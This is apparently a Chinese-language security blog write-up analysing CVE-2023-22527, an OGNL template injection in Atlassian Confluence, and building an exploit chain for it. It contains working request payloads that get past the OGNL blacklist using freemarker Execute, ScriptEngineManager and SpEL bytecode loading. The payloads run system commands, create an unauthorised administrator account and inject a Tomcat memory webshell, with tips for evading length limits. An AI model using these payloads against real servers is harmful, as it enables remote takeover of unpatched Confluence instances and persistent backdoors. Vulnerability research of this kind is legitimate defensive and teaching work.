CVE-2023-22527-confluecne 漏洞分析和利用链构造
1. 简介
[1] https://forum.butian.net/share/2741
[2] bypass 沙箱: https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/?ref=blog.projectdiscovery.io#strutsutil:~:text=(PageContextImpl)-,For%20Velocity%3A,-.KEY_velocity.struts2.context
[3] https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2023-22527/README.zh-cn.md
OGNL 沙箱利用
[4] https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
前置漏洞
[5] CVE-2021-26084和CVE-2022-26134
覆盖版本
- 8.5.0 ≤ version ≤ 8.5.3
- 8.0.x,8.1.x,8.2.x,8.3.x,8.4.x
2. 测试一下
3. 漏洞分析
3.1 text-inline.vm
存在漏洞点的模板,这样的漏洞点还有其他一些模板
1 | #set( $labelValue = $stack.findValue("getText('$parameters.label')") ) |
.vm
请求由 ConfluenceVelocityServlet
处理
- 获取模板
1 | public Template getTemplate(String name, String encoding) throws ResourceNotFoundException, ParseErrorException, Exception { |
- 合并模板
… 模板渲染过程省略
$stack.findValue()
的表达式解析
:::success
ONGL 中$、#都可以内置对象和属性,内置对象。
:::1
2
3
4
5
6
7
8
9#root:表示OGNL表达式的根对象。在一些情况下,如果需要访问整个对象图的根对象,可以使用#root。
#this:表示当前正在处理的对象。在OGNL表达式中,#this可以用来引用当前正在处理的对象。
#context:表示OGNL的上下文对象。在一些情况下,可能需要访问OGNL的上下文对象,比如在编写自定义函数时。
#session:表示当前会话的会话对象。在Web应用中,可以使用#session来访问当前用户的会话信息。
#request:表示当前HTTP请求对象。在Web应用中,可以使用#request来访问当前HTTP请求的参数和属性。
#application:表示当前Web应用的应用对象。在Web应用中,可以使用#application来访问应用级别的参数和属性。
#parameters:表示当前HTTP请求的参数映射。在Web应用中,可以使用#parameters来访问当前HTTP请求的参数。
#attrs:表示当前HTTP请求的属性映射。在Web应用中,可以使用#attrs来访问当前HTTP请求的属性。
#sessionScope、#requestScope、#applicationScope:分别表示会话、请求和应用作用域中的属性映射。这些属性可用于访问各个作用域中的属性。invoke
- 模板中的漏洞点
$stack.findValue
- 触发 Ognl 表达式解析
1 | private Object getValueUsingOgnl(String expr) throws OgnlException { |
两个 findValue 不一样,
第一次是$stack.findValue()
获取的是OgnlValueStack
在 findValue() -> getValueUsingOgnl
测试表达式执行
这里不能使用 ${}
包裹,可以使用#{}
第二次是#request.get('.KEY_velocity.struts2.context').internalGet('ognl')
获取的是OgnlTool
1 | aaa'+#request.get('.KEY_velocity.struts2.context').internalGet('ognl').findValue(#parameters.poc[0],{})+'&poc=xxxx |
3.2 RCE
上面已经找到了 Ongl 表达式注入的地方,但是还不能直接RCE,参考链接[2]
在 [2] 中有一个列表
1 | For Freemarker: |
引用[2]OgnlTool#findValue
二次加载 Ognl
表达式
这里查看堆栈,有个
OgnlRuntime#invokeMethodInsideSandbox
方法引起注入,可会思考Ognl
的加固方案
4. EXP
测试的 ognl 表达式如下
1 | 'Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"})) .apache. struts2.ServletActionContext .setHeader( |
获取 HttpServletResponse
1 | public static HttpServletResponse getResponse() { |
4.1. 命令执行拦截
但是当我使用传统的命令执行表达式时,触发安全拦截
1 | 'touch /tmp/1.txt') .lang.Runtime .exec( |
- 子节点 getValue
- 反射调用方法的代码段
- 安全拦截
可以看到这里做了一些限制,其中就禁用了一些黑名单类,比如 ClassResolver
、ClassLoader
、ProcessBuilder
、Runtime
等
1 | if (_useStricterInvocation) { |
这个限制默认开启
4.2. 绕过黑名单限制
Poc 中使用 freemarker 的命令执行进行绕过,绕过黑名单即可
- freemarker
- ScriptEngineManager
- groovy
freemarker
命令执行freemarker.template.utility.Execute()
ScriptEngineManager
4.3. 回显
!直接构造回显, Poc回显会触发长度限制
1 | new javax.script.ScriptEngineManager().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("var c=com.atlassian.core.filters.ServletContextThreadLocal.getRequest().getHeader('Token');var x=java.lang.Runtime.getRuntime().exec(c);var out=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().getOutputStream();org.apache.commons.io.IOUtils.copy(x.getInputStream(),out);out.flush();out.close();")') |
抛出长度限制的异常,最长的长度只能是 200
思路:通过 Request
参数传递 JS
1 | POST /template/aui/text-inline.vm |
内存马嵌套ScriptEngineManager
内存马即可,集成到插件
4.4. 添加管理员失败及绕过思路
1 | label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&[email protected]@getUserAccessor().addUser('HWatlassian','atlassian','[email protected]','atlassian') |
使用这个 Poc(没有配置所属管理员组),已经报错了,提示没有权限;看来已经修复了这个利用方式
查看com/atlassian/confluence/user/DefaultUserAccessor.class#createUser
,方法中已经添加了用户身份校验;且其他用户有关方法都添加了权限校验
但是这个方法并不是最终添加用户的方法,因此绕过上面的权限校验的代码段就可以,考虑可以直接使用 this.getUserManager().createUser()
构造了这样的代码,发送测试,发现并不行
1 | POST /template/aui/text-inline.vm |
报错显示,无法获取 getUserManager
方法
因为获取的是代理类,不能转换为 DefaultUserAccessor
,不能使用继承类的方法
可以看到是从 Spring 容器中获取的 userAccessor
;
这里正好找到 userAccessorTarget,可以通过 DefaultUserAccessor dua = (DefaultUserAccessor)ContainerManager.getComponent("userAccessorTarget");
获取对应的 bean 对象
通过各种构造,但是 js 这种弱语言构造问题太多,前置类型转换就存在问题,因此考虑还是直接加载字节码更灵活一些
4.5. 加载字节码
正常情况下,通过如下代码就可以实现
1 | var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('{replace}'); |
4.5.1 JDK9以上的一些限制
**这里又遇到了问题,由于confluence 测试的这个版本运行在 openjdk11 上,JDK9后的高版本 JDK 加入了模块化设计,无法直接在 js 代码中调用 **java.lang
;这里我尝试了使用"".getClass().getClassLoader().getClass()xxxx
**来测试,发现 JDK9 后也取消了 **Object.getClass()
方法
基于这种情况,只能换一种方式来加载字节码了,好在 confluence 中加载的组件较多,于是测试结合 SpEL 表达式来实现字节码的加载
先测试一下命令执行的字节码,加载字节码成功
1 | label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&og=new org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(@org.apache.struts2.ServletActionContext@getRequest().getParameter('spel')).getValue()&spel=T(org.springframework.cglib.core.ReflectUtils).defineClass('bytecode.addUser',T(org.springframework.util.Base64Utils).decodeFromString('base64Classxxxxxxxxxxxx'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance() |
4.6. 使用类加载实现添加管理员和内存马
构造一下添加管理员的思路的利用链
1 | DefaultUserAccessor dua = (DefaultUserAccessor)ContainerManager.getComponent("userAccessorTarget"); |
- 测试添加管理员成功
- 内存马的话,由于字节码加载已经解决,直接使用 tomcat 的内存马测试,但是又遇到了异常,报错显示 SpEL 表达式过长,大于 10000 个字符
解决内存马注入问题:继续分解 SpEL 表达式的长度
1 | label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.og[0],{})%2b\u0027&og=new org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression(@org.apache.struts2.ServletActionContext@getRequest().getParameter('spel')).getValue()&spel=T(org.springframework.cglib.core.ReflectUtils).defineClass('bytecode.tomcat',T(org.springframework.util.Base64Utils).decodeFromString(T(org.apache.struts2.ServletActionContext).getRequest().getParameter('code')),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()&code=yv66vgAAAD......... |
后面又发现 github
有个项目发布注入内存马:https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHEL,而且思路很好
- 他这里先发送一个请求使用
@ognl.Ognl@applyExpressionMaxLength(100000)
把Ognl
表达式长度限制修改掉 - 然后再发送一个请求,直接在 Ognl 表达式中使用
org.springframework.cglib.core.ReflectUtils
加载内存马